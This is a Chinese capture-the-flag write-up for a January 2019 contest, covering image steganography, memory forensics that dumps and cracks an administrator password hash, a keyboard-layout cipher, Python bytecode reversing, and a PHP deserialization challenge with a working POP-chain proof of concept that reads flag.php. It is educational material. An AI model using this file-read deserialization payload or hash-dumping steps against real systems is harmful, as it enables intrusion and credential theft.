• CTF-安恒19年一月月赛部分writeup


    CTF-安恒19年一月月赛部分writeup

     

    MISC1-赢战2019

    是一道图片隐写题

     

    linux下可以正常打开图片,首先到binwalk分析一下。

    里面有东西,foremost分离一下

    有一张二维码,扫一下看看

    好吧 不是flag,继续分析图片,在winhex没有发现异常,那么上神器StegSolve分析一下

    第一次翻了一遍图层没发现,眼瞎第二次才看见

    flag{You_ARE_SOsmart}

    提交md5即可

     

    MISC2-memory

    内存取证

    既然是内存取证直接上volatility

    首先分析一下镜像信息

    #volatility -f memory imageinfo

    可以看到是32位镜像,所以配置使用--profile=WinXPSP2x86

    题目要求找出管理员登陆密码,所以直接hashdump即可

    c22b315c040ae6e0efee3518d830362b这一段便是admin的密码hash,到somd5解一下   https://www.somd5.com/

    然后将123456789md5一下就可以了

    flag{25f9e794323b453885f5181f1b624d0b} 

    CRYPTO1-键盘之争

    题目提示 听说过键盘之争吗,好吧真没听说过,那就百度一下,然后了解到还有其他不同于市面上的普通键盘的键位排列

    所以flag就是对着换一下字母即可 y对应Dvorak键盘的f  p对应Dvorak键盘的l ......然后一个一个换出来即可

    flag{this_is_flag}

    md5处理提交

    flag{951c712ac2c3e57053c43d80c0a9e543} 

    REVERSE1-来玩蛇吧

    题目给了一个exe文件和一个pyc文件,但是pyc文件反编译失败了,但是pyc肯定不是白给的,应该是某种提示,所以找了一番后,发现可以使用 pyinstxtractor.py脚本(下载地址:https://sourceforge.net/projects/pyinstallerextractor/)反编译题目给出的.exe文件

    编译出不少东西,但是有用的只要AnhengRe文件

    然后用winhex打开文件修复文件头增加头部

     改后缀为.pyc,到https://tool.lu/pyc/反编译一下即可得到源码

    #!/usr/bin/env python
    # encoding: utf-8
    # 如果觉得不错,可以推荐给你的朋友!http://tool.lu/pyc
    import os
    n1 = input('Tell me your name?')
    n2 = input('Tell me your pasw')
    n11 = chr(ord(n1[0]) + 12)
    s = ''
    st3 = '51e'
    st2 = '9f1ff1e8b5b91110'
    st1 = 'c4e21c11a2412'
    st0 = 'wrong'
    if n11 + 'AnHeng' == n2:
        for i in range(0, 4):
            s += st1[3 - i]
        
        print('Congratulations')
        ts = st2[0] + st3 + st2[1] + s
        print('flag{' + st3[:1] + st1 + st2 + st3[-2:] + '}')
        os.system('pause')
    else:
        print('no,' + st0)
    import os
    n1 = input('Tell me your name?')
    n2 = input('Tell me your pasw')
    n11 = chr(ord(n1[0]) + 12)
    s = ''
    st3 = '51e'
    st2 = '9f1ff1e8b5b91110'
    st1 = 'c4e21c11a2412'
    st0 = 'wrong'
    if n11 + 'AnHeng' == n2:
        for i in range(0, 4):
            s += st1[3 - i]
        
        print('Congratulations')
        ts = st2[0] + st3 + st2[1] + s
        print('flag{' + st3[:1] + st1 + st2 + st3[-2:] + '}')
        os.system('pause')
    else:
        print('no,' + st0)

    然后将多余代码全部删除

    #!/usr/bin/env python
    # encoding: utf-8
    # 如果觉得不错,可以推荐给你的朋友!http://tool.lu/pyc
    import os
    
    s = ''
    st3 = '51e'
    st2 = '9f1ff1e8b5b91110'
    st1 = 'c4e21c11a2412'
    st0 = 'wrong'
    print('Congratulations')
    ts = st2[0] + st3 + st2[1] + s
    print('flag{' + st3[:1] + st1 + st2 + st3[-2:] + '}')

    运行即可得到flag

     

    flag{5c4e21c11a24129f1ff1e8b5b911101e}

    复现的web1

    源码

    <?php  
    @error_reporting(1); 
    #include 'flag.php';
    class baby 
    {   
        protected $skyobj;  
        public $aaa;
        public $bbb;
        function __construct() 
        {      
            $this->skyobj = new sec;
        }  
        function __toString()      
        {          
            if (isset($this->skyobj))  
                return $this->skyobj->read();      
        }  
    }  
     
    class cool 
    {    
        public $filename;     
        public $nice;
        public $amzing; 
        function read()      
        {   
            $this->nice = unserialize($this->amzing);
            $this->nice->aaa = $sth;
            if($this->nice->aaa === $this->nice->bbb)
            {
                $file = "./{$this->filename}";        
                if (file_get_contents($file))         
                {              
                    return file_get_contents($file); 
                }  
                else 
                { 
                    return "you must be joking!"; 
                }    
            }
        }  
    }  
      
    class sec 
    {  
        function read()     
        {          
            return "it's so sec~~";      
        }  
    }  
    if (isset($_GET['data']))  
    { 
        $Input_data = unserialize($_GET['data']);
        echo $Input_data; 
    } 
     
    ?>

    php 反序列化pop链构造

    sec类中的read函数直接返回了一个字符串,但是cool类中的read函数执行了file_get_contents,baby虽然调用了sec类,但是通过寻找相同的函数名将类的属性和敏感函数的属性联系起来

    利用脚本构造poc,来调用cool类中定义的read函数

    <?php  
    @error_reporting(1); 
    class baby 
    {   
        protected $skyobj;  
        public $aaa;
        public $bbb;
        function __construct() 
        {      
            $this->skyobj = new cool;
        }  
        function __toString()      
        {          
            if (isset($this->skyobj))  
                return $this->skyobj->read();      
        }  
    }  
     
    class cool 
    {    
        public $filename = "flag.php";     
        public $nice;
        public $amzing; 
        function read()      
        {   
            $this->nice = unserialize($this->amzing);
            $this->nice->aaa = $sth;
            if($this->nice->aaa === $this->nice->bbb)
            {
                $file = "./{$this->filename}";        
                if (file_get_contents($file))         
                {              
                    return file_get_contents($file); 
                }  
                else 
                { 
                    return "you must be joking!"; 
                }    
            }
        }  
    }  
      
     
    echo urlencode(serialize(new baby()));
     
    ?>

    这里直接没有构造amazing,所以实例化的this->nice为空,后面的也就全都是空值,if条件里的判断也就绕过了

    给data传参后,查看网页源代码,得到flag

  • 相关阅读:
    出现socket:(10107)系统调用失败
    JS面向对象基础讲解(工厂模式、构造函数模式、原型模式、混合模式、动态原型模式)
    获取滚动条距离底部的距离
    linux常用命令使用方法
    Python:一
    【C++ Primer 第15章】定义派生类拷贝构造函数、赋值运算符
    【【C++ Primer 第15章】 虚析构函数
    ubuntu基本用法
    深度优先搜索(DFS)和广度优先搜索(BFS)
    【C++ Primer 第7章】定义抽象数据类型
  • 原文地址:https://www.cnblogs.com/pureqh/p/10327122.html
Copyright © 2020-2023  润新知